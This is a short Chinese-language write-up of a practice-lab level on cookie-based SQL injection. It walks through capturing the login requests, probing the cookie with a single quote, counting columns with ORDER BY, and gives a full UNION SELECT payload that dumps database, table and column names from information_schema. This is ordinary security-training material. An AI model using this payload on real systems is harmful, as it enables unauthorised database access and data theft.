此关名为cookie注入，那就试下cookie注入吧

先使用admin登录，登录时会发出两个请求，全部抓住，第一个没cookie，正常forward，在第二个请求的cookie后加上单引号探路
可以看见页面回显sql报错，接下来思路就很清晰了

order by 猜出字段数为3

uname = -admin' union select (select group_concat(column_name) from information_schema.columns where table_name='users'),(select group_concat(schema_name)from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema = 'security')#

因为有三个回显位，这里就不一个一个爆了，库名放在二号，表名放在三号，列名放在一号，省点力一次性爆出，结果如下
此关结束